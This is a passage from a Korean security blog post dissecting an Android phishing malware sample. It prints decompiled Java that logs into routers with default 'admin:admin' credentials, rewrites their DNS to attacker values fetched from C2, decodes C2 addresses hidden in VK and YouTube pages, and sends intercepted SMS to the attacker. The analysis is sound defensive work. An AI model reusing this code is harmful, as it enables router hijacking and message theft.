class="kt">int</span> <span class="n">v2</span> <span class="o">=</span> <span class="o">((</span><span class="nc">WifiManager</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">n</span><span class="o">.</span><span class="na">getApplicationContext</span><span class="o">().</span><span class="na">getSystemService</span><span class="o">(</span><span class="s">"wifi"</span><span class="o">)).</span><span class="na">getDhcpInfo</span><span class="o">().</span><span class="na">serverAddress</span><span class="o">;</span> +</code></pre></div></div> + +<p>DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다.</p> + +<p>공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span><span class="o">[]</span> <span class="n">v5</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="o">[]{</span><span class="mi">8080</span><span class="o">,</span> <span class="mi">8888</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span> <span class="mi">7777</span><span class="o">,</span> <span class="mi">8899</span><span class="o">};</span> +<span class="k">for</span><span class="o">(</span><span class="n">v9</span> <span class="o">=</span> <span class="s">"http://"</span> <span class="o">+</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">v8</span> <span class="o">+</span> <span class="s">"/login/login.cgi"</span><span class="o">;</span> <span class="kc">true</span><span class="o">;</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">v10_1</span><span class="o">.</span><span class="na">toString</span><span class="o">()){</span> + <span class="n">v9_1</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="n">v9</span><span class="o">,</span> <span class="kc">false</span><span class="o">);</span> +</code></pre></div></div> + +<p>코드를 보면, <code class="language-plaintext highlighter-rouge">8080</code>, <code class="language-plaintext highlighter-rouge">8888</code>, <code class="language-plaintext highlighter-rouge">80</code> 등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 <code class="language-plaintext highlighter-rouge">/login/login.cgi</code> 경로를 붙여 최종적으로 <code class="language-plaintext highlighter-rouge">http://{DHCP_SERVER}:{PORT}/login/login.cgi</code> 라는 URL을 완성합니다.</p> + +<p>아래는 실행 시 실제로 보내진 HTTP Request Dump입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/12.png" alt="12.png" /></p> + +<p>URL의 경로에서 유추할 수 있듯, 공격자는 <strong>공유기 관리 페이지에 접근</strong>하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Matcher</span> <span class="n">v10</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"http-equiv=\"?refresh\"? .+?URL=(.+?)\""</span><span class="o">,</span> <span class="mi">2</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v9_1</span><span class="o">);</span> + <span class="nc">Matcher</span> <span class="n">v10_2</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"&lt;script&gt;.+\\.location=\"(.+?)\";.*//session_timeout"</span><span class="o">,</span> <span class="mi">2</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v9_1</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">" "</span><span class="o">,</span> <span class="s">""</span><span class="o">));</span> +</code></pre></div></div> + +<p>Response가 있다면 HTTP source code 에는 해당 DHCP 서버(공유기)의 정보가 있을 것입니다.</p> + +<p>아래는 공유기 모델에 따라 HTTP 페이지에 적혀 있는 값입니다. 만약 일치하는 패턴이 있다면 <strong>공유기의 모델이 어떤 것인지 유추할 수 있습니다.</strong> 공격자는 이 패턴과 숫자를 매칭하여 저장합니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/13.png" alt="13.png" /></p> + +<p>어떤 번호에 매칭되었느냐에 따라 다양한 method들이 호출되는데, 여기서 1번 i사의 공유기에 매칭 되었다고 가정해봅시다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="o">(</span><span class="n">v2</span> <span class="o">==</span> <span class="mi">1</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">v1</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> + +<span class="k">if</span><span class="o">(</span><span class="n">v2</span> <span class="o">==</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">k</span><span class="o">(</span><span class="n">v1</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> +<span class="o">...</span> +</code></pre></div></div> + +<p>매칭된 숫자에 따라 실행되는 method들이 달라집니다. 1번에 매칭되었으니 <code class="language-plaintext highlighter-rouge">a.e</code> method로 이동해봅시다.</p> + +<p>매칭된 i사의 공유기의 Default Credential과 token 검증 방식으로 인증을 수행하기 위해 Request Header 생성, 이를 Default URL로 전달하고 있습니다. 각 공유기마다 Header의 조합과 URL 주소가 다르며, 일반적인 공유기 사용자가 관리 페이지의 Credential을 바꾸는 일은 흔치 않기 때문에 공격자는 공유기를 쉽게 관리자로 로그인 할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">e</span><span class="o">(</span><span class="nc">String</span> <span class="n">arg14</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">String</span><span class="o">[]</span> <span class="n">v1</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">2</span><span class="o">];</span> + <span class="kt">int</span> <span class="n">v2</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> + <span class="n">v1</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">=</span> <span class="s">"Authorization"</span><span class="o">;</span> + <span class="n">v1</span><span class="o">[</span><span class="mi">1</span><span class="o">]</span> <span class="o">=</span> <span class="s">"Basic "</span> <span class="o">+</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">encodeToString</span><span class="o">(</span><span class="s">"admin:admin"</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(),</span> <span class="mi">0</span><span class="o">);</span> + <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi?tmenu=main_frame&amp;smenu=main_frame"</span><span class="o">,</span> <span class="n">v1</span><span class="o">);</span> + <span class="nc">String</span> <span class="n">v4</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi?tmenu=netconf&amp;smenu=wansetup"</span><span class="o">,</span> <span class="n">v1</span><span class="o">);</span> + <span class="nc">ArrayList</span> <span class="n">v7</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayList</span><span class="o">();</span> + <span class="kt">int</span> <span class="n">v8</span><span class="o">;</span> + <span class="k">for</span><span class="o">(</span><span class="n">v8</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span> <span class="n">v8</span> <span class="o">&lt;=</span> <span class="mi">4</span><span class="o">;</span> <span class="o">++</span><span class="n">v8</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">Matcher</span> <span class="n">v9</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"id=\"disabled_dynamicip"</span> <span class="o">+</span> <span class="n">v8</span> <span class="o">+</span> <span class="s">".*?value=\"(.*?)\""</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v4</span><span class="o">);</span> + <span class="k">if</span><span class="o">(</span><span class="n">v9</span><span class="o">.</span><span class="na">find</span><span class="o">())</span> <span class="o">{</span> + <span class="n">v7</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">v9</span><span class="o">.</span><span class="na">group</span><span class="o">(</span><span class="mi">1</span><span class="o">));</span> + <span class="o">}</span> + <span class="o">}</span> + +</code></pre></div></div> + +<p>그리고 마지막 부분에 <strong>DNS 서버를 변경하려는 Request를 생성하는데</strong>, 해당 DNS 서버의 주소는 C2 서버에 값이 저장되어 있습니다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DNS 서버를 변경하는 Request 생성</span> +<span class="c1">// v3의 값은 C2 서버에서 파싱</span> +<span class="n">a</span><span class="p">.</span><span class="n">b</span><span class="p">.</span><span class="n">f</span><span class="p">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi"</span><span class="p">,</span> <span class="n">v1</span><span class="p">,</span> <span class="s">"tmenu=iframe&amp;smenu=hiddenwansetup&amp;act=save&amp;ocolor=&amp;wan=wan1&amp;ifname=eth1&amp;nopassword=0&amp;wan_type=dynamic&amp;allow_private=on&amp;fdns_dynamic1="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic2="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic3="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic4="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic1="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic2="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic3="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic4="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;dns_dynamic_chk=on"</span><span class="p">.</span><span class="n">getBytes</span><span class="p">());</span> +</code></pre></div></div> + +<p>이렇게 외부 서비스에 저장한 정보를 파싱해 올 수 있습니다. 사진에서는 활동 란에 적힌 부분이 바꾸고자 하는 동적 DNS 서버의 주소입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/1.png" alt="1.png" /></p> + +<hr /> + +<p>⑥ <strong>C2 서버 - 공격자 서버 정보 파싱</strong></p> + +<p>바로 이전 섹션에서 타 서비스의 웹 사이트(C2 서버)에서 문구들을 수집하는 것을 보았습니다. 마찬가지로 공격자의 서버 정보도 C2 서버에 있습니다. 그렇다면 공격자 서버 정보를 찾아봅시다.</p> + +<p>아래의 문자열은 외부 서비스와 많은 연관이 있는 것으로 추정되는 문자열입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">n</span> <span class="o">=</span> <span class="s">"chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|id728589530@vk|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2"</span><span class="o">;</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">현재 피싱 앱으로 사용하는 이름|youtube계정|vk계정|GoogleDoc계정</code> 의 정보를 담고 있으며, 이 앱은 <code class="language-plaintext highlighter-rouge">covid</code>등 다양한 이름으로 배포되고 있었습니다. 따라서 현재 사용하는 앱 이름에 맞는 정보를 파싱하도록 동작하고 있습니다.</p> + +<p>우선 vk(<code class="language-plaintext highlighter-rouge">id728589530@vk</code>) 계정이 어디서 사용되는지 확인해봅시다. 앱 이름이 <code class="language-plaintext highlighter-rouge">debug</code>가 아닐 경우에 수행되며, 최종적으로 <code class="language-plaintext highlighter-rouge">id729071494</code> 계정의 info페이지에 접근하게 됩니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. info 페이지 접근</span> +<span class="nc">String</span> <span class="n">v3</span> <span class="o">=</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"https://m.vk.com/%s?act=info"</span><span class="o">,</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">copyOf</span><span class="o">(</span><span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="n">arg3</span><span class="o">},</span> <span class="mi">1</span><span class="o">));</span> + +<span class="c1">// 2. noopener 태그 사이의 문자열 매칭</span> + <span class="nc">Matcher</span> <span class="n">v3_3</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"noopener\"&gt;(.+?)&lt;/a&gt;"</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v3_2</span><span class="o">);</span> +</code></pre></div></div> + +<p>페이지의 HTTP Code 중 <code class="language-plaintext highlighter-rouge">noopener</code> 태그 이후의 문자열을 확인하면 아래와 같이 공격자 서버를 확인할 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/14.png" alt="14.png" /></p> + +<p>이 서버는 결론적으로 DHCP서버의 Captcha 인증 중 Captcha 이미지를 보내는 서버입니다. 자세한 분석은 분량 상 생략하겠습니다.</p> + +<p>다른 정보들은 어디에 쓰이는지 확인해봅시다.</p> + +<p>아래는 기기의 환경이 한국일 경우 실행되는 코드로, 위의 계정 정보들 중 youtube(<code class="language-plaintext highlighter-rouge">UCP5sKzxDLR5yhO1IB4EqeEg@youtube</code>)계정 문자열을 파싱합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// UCP5sKzxDLR5yhO1IB4EqeEg@youtube 문자열 파싱</span> +<span class="nc">String</span> <span class="n">v7</span> <span class="o">=</span> <span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">b</span><span class="o">).</span><span class="na">getString</span><span class="o">(</span><span class="s">"account"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">v2</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">v8</span><span class="o">)));</span> +</code></pre></div></div> + +<p>마찬가지로 해당 계정의 about 페이지에 접근한 후, <code class="language-plaintext highlighter-rouge">oeewe</code> 사이의 문자열을 파싱합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. about 페이지 접근</span> +<span class="nc">String</span> <span class="n">v3</span> <span class="o">=</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"https://m.youtube.com/channel/%s/about"</span><span class="o">,</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">copyOf</span><span class="o">(</span><span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="n">arg3</span><span class="o">},</span> <span class="mi">1</span><span class="o">));</span> + +<span class="c1">// 2. oeewe 사이의 문자열 매칭</span> +<span class="nc">Matcher</span> <span class="n">v3_3</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"oeewe([\\w_-]+?)oeewe"</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v3_2</span><span class="o">);</span> +</code></pre></div></div> + +<p>접근하면 아래와 같이 <code class="language-plaintext highlighter-rouge">oeewe … oeewe</code> 문자열을 설명란에서 볼 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/15.png" alt="15.png" /></p> + +<p>해당 문자열은 DES(CBC) 복호화 과정을 거칩니다. 다행히 Key와 IV가 하드코딩 되어있어, 쉽게 복호화 할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. Base64 Decoding</span> +<span class="kt">byte</span><span class="o">[]</span> <span class="n">v2</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">arg2</span><span class="o">,</span> <span class="mi">8</span><span class="o">);</span> + +<span class="c1">// 2. Key, IV 하드코딩(같은 값)</span> +<span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="n">r</span><span class="o">.</span><span class="na">b</span><span class="o">(</span><span class="n">v2</span><span class="o">,</span> <span class="s">"Ab5d1Q32"</span><span class="o">),</span> <span class="n">d</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> +</code></pre></div></div> + +<p>복호화를 진행하면 아래와 같이 공격자의 서버 주소를 확인할 수 있습니다. 이 주소는 파싱 후 <code class="language-plaintext highlighter-rouge">ws://</code> 가 앞에 붙게 되므로 웹 소켓 주소로 사용되는 것을 추측할 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/16.png" alt="16.png" /></p> + +<hr /> + +<p>⑦ <strong>SMS관련</strong></p> + +<p>아래는 기기가 기본 SMS 앱을 사용하는지 체크하는 부분입니다. 만약 기본 SMS앱을 악성 앱으로 바꾼다면, SMS 인증 우회는 물론이고, 메시지 내용 탈취, 발신, 수신이 자유로울 것입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v9_1</span><span class="o">[</span><span class="mi">5</span><span class="o">]</span> <span class="o">=</span> <span class="nc">Boolean</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">i</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">v5_6</span><span class="o">,</span> <span class="nc">Telephony</span><span class="o">.</span><span class="na">Sms</span><span class="o">.</span><span class="na">getDefaultSmsPackage</span><span class="o">(</span><span class="n">v7_4</span><span class="o">)));</span> +</code></pre></div></div> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/17.png" alt="17.png" /></p> + +<p>공격자는 SMS 메시지가 수신될 때, 발신자의 주소와 timestamp내용을 HashMap으로 저장하며 수집합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 수신된 메시지들 수집</span> +<span class="n">v0_6</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Object</span><span class="o">[])</span><span class="n">arg27</span><span class="o">.</span><span class="na">getExtras</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="s">"pdus"</span><span class="o">);</span> +<span class="n">v12</span> <span class="o">=</span> <span class="n">v0_6</span><span class="o">[</span><span class="n">v10</span><span class="o">];</span> + +<span class="c1">// 2. 수신된 메시지를 기반으로 새로운 SMS 데이터 생성</span> +<span class="nc">SmsMessage</span> <span class="n">v12_1</span> <span class="o">=</span> <span class="nc">SmsMessage</span><span class="o">.</span><span class="na">createFromPdu</span><span class="o">(((</span><span class="kt">byte</span><span class="o">[])</span><span class="n">v12</span><span class="o">));</span> + +<span class="c1">// 3. 수신된 메시지의 내용 수집</span> +<span class="nc">String</span> <span class="n">v13</span> <span class="o">=</span> <span class="n">v12_1</span><span class="o">.</span><span class="na">getDisplayMessageBody</span><span class="o">();</span> + +<span class="c1">// 4. 수신된 메시지의 발신 주소 수집</span> +<span class="nc">String</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v12_1</span><span class="o">.</span><span class="na">getDisplayOriginatingAddress</span><span class="o">();</span> + +<span class="c1">// 5. 발신자 주소(key)-메시지의 timestamp(value) 로 저장</span> +<span class="n">v3_1</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">v14</span><span class="o">,</span> <span class="nc">Long</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">v12_1</span><span class="o">.</span><span class="na">getTimestampMillis</span><span class="o">()));</span> + +<span class="c1">// 6. 발신자 주소(key)-메시지 내용(value)로 저장</span> + <span class="n">v4_2</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">v14</span><span class="o">,</span> <span class="n">v12_2</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span> +</code></pre></div></div> + +<p>JSON-RPC로 <code class="language-plaintext highlighter-rouge">onSms</code> method와 수집한 내용을 공격자 서버로 전달합니다.</p> + +<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// s = "onSms"</span> +<span class="c1">// 1. Json-RPC로 onSms mthod 실행</span> +<span class="nb">Map</span> <span class="nx">map0</span> <span class="o">=</span> <span class="nx">b0</span><span class="p">.</span><span class="nx">f</span><span class="p">(</span><span class="k">new</span> <span class="nx">b</span><span class="p">[]{</span><span class="nx">c</span><span class="p">.</span><span class="nx">a</span><span class="p">(</span><span class="dl">"</span><span class="s2">jsonrpc</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">2.0</span><span class="dl">"</span><span class="p">),</span> <span class="nx">c</span><span class="p">.</span><span class="nx">a</span><span class="p">(</span><span class="dl">"</span><span class="s2">method</span><span class="dl">"</span><span class="p">,</span> <span class="nx">s</span><span class="p">)});</span> + +<span class="c1">// 2. 수집한 내용을 params로 전달</span> +<span class="nx">map0</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="dl">"</span><span class="s2">params</span><span class="dl">"</span><span class="p">,</span> <span class="nx">object0</span><span class="p">);</span> +</code></pre></div></div> + +<p>이후 공격자는 audio 상태를 무음으로 변경합니다. 만약 기기를 자주 살펴보지 않는 사용자라면, 본인도 모르는 사이에 문자가 발신/수신 될 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Object</span> <span class="n">v0_13</span> <span class="o">=</span> <span class="n">v2</span><span class="o">.</span><span class="na">getSystemService</span><span class="o">(</span><span class="s">"audio"</span><span class="o">);</span> +<span class="k">if</span><span class="o">(</span><span class="n">v0_13</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="o">((</span><span class="nc">AudioManager</span><span class="o">)</span><span class="n">v0_13</span><span class="o">).</span><span class="na">setRingerMode</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span> +</code></pre></div></div> + +<p>수신하는 경우의 로직도 존재합니다. 특이한 점은 수신한 문자의 앞 두글자에 따라 다른 동작을 한다는 것입니다. 마치 기계에 커맨드를 입력하는 것 같습니다.</p> + +<p>맨 앞 두 글자에 따라 SharedPreference 객체에 key-value로 값을 저장하는 형태를 많이 보입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 앞 글자가 FS인 경우, fs(key)-메시지내용(value) 추가</span> +<span class="k">if</span><span class="o">(</span><span class="kt">boolean</span> <span class="n">z2</span> <span class="o">=</span> <span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"FS"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"fs"</span><span class="o">,</span> <span class="n">r</span><span class="o">.</span><span class="na">c</span><span class="o">(</span><span class="n">s13</span><span class="o">))).</span><span class="na">apply</span><span class="o">()</span> + +<span class="c1">// 2. 앞 글자가 SF인 경우, account(key)-메시지내용(value) 추가</span> +<span class="k">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"SF"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"account"</span><span class="o">,</span> <span class="n">s14</span><span class="o">).</span><span class="na">apply</span><span class="o">();</span> + +<span class="c1">// 3. 앞 글자가 IF인 경우, 네트워크(socket등)연결 시도</span> +<span class="k">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"IF"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> + + <span class="c1">// 3-1. 연결 되었을 경우</span> + <span class="n">i</span><span class="o">.</span><span class="na">c</span><span class="o">(</span><span class="n">socket1</span><span class="o">,</span> <span class="s">"peer.ws!!.socket"</span><span class="o">);</span> + <span class="n">s15</span> <span class="o">=</span> <span class="s">"已连接:"</span> <span class="o">+</span> <span class="n">socket1</span><span class="o">.</span><span class="na">getRemoteSocketAddress</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span> + + <span class="c1">// 3-2. 연결되지 않았을 경우</span> + <span class="n">s15</span> <span class="o">=</span> <span class="s">"未连接,"</span> <span class="o">+</span> <span class="n">s16</span> <span class="o">+</span> <span class="sc">','</span> <span class="o">+</span> <span class="o">(</span><span class="n">wifiManager0</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">?</span> <span class="kc">false</span> <span class="o">:</span> <span class="n">wifiManager0</span><span class="o">.</span><span class="na">isWifiEnabled</span><span class="o">())</span> <span class="o">+</span> <span class="sc">','</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">j</span><span class="o">;</span> + +<span class="c1">// 4. 앞 긑자리 SI인 경우, addr_url/addr_encoding/addr_pattern/addr_accounts 추가</span> +<span class="k">if</span><span class="o">(</span><span class="kt">boolean</span> <span class="n">z3</span> <span class="o">=</span> <span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"SI"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="kt">byte</span><span class="o">[]</span> <span class="n">arr_b</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">s13</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> +<span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">).</span><span class="na">edit</span><span class="o">().</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_url"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">0</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_encoding"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">1</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_pattern"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">2</span><span class="o">))).</span><span class="na">putString</span><span class="o">(</span><span class="s">"addr_accounts"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">list0</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="mi">3</span><span class="o">))).</span><span class="na">apply</span><span class="o">();</span> + +<span class="c1">// 5. 앞 글자리 FM인 경우, Key(arr_b1)으로 AES 복호화 후 fsm(key)-메시지내용(value) 추가</span> +<span class="k">else</span> <span class="nf">if</span><span class="o">(</span><span class="n">u</span><span class="o">.</span><span class="na">g</span><span class="o">(</span><span class="n">s12</span><span class="o">,</span> <span class="s">"FM"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> +<span class="kt">byte</span><span class="o">[]</span> <span 